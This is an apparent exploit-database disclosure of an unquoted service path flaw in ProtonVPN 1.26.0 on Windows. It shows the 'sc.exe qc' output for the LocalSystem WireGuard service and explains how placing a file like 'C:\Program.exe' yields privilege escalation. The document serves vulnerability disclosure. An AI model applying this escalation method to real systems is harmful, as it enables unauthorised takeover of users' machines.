# Exploit Title: ProtonVPN 1.26.0 - Unquoted Service Path # Date: 22/03/2022 # Exploit Author: gemreda (@gemredax) # Vendor Homepage: https://protonvpn.com/ # Software Link: https://protonvpn.com/ # Version: 1.26.0 # Tested: Windows 10 x64 # Contact: gemredax@pm.me PS C:\Users\Emre> sc.exe qc "ProtonVPN Wireguard" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ProtonVPN Wireguard TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Proton Technologies\ProtonVPN\ProtonVPN.WireGuardService.exe C:\ProgramData\ProtonVPN\WireGuard\ProtonVPN.conf LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ProtonVPN WireGuard DEPENDENCIES : Nsi : TcpIp SERVICE_START_NAME : LocalSystem #Exploit: The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path. If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.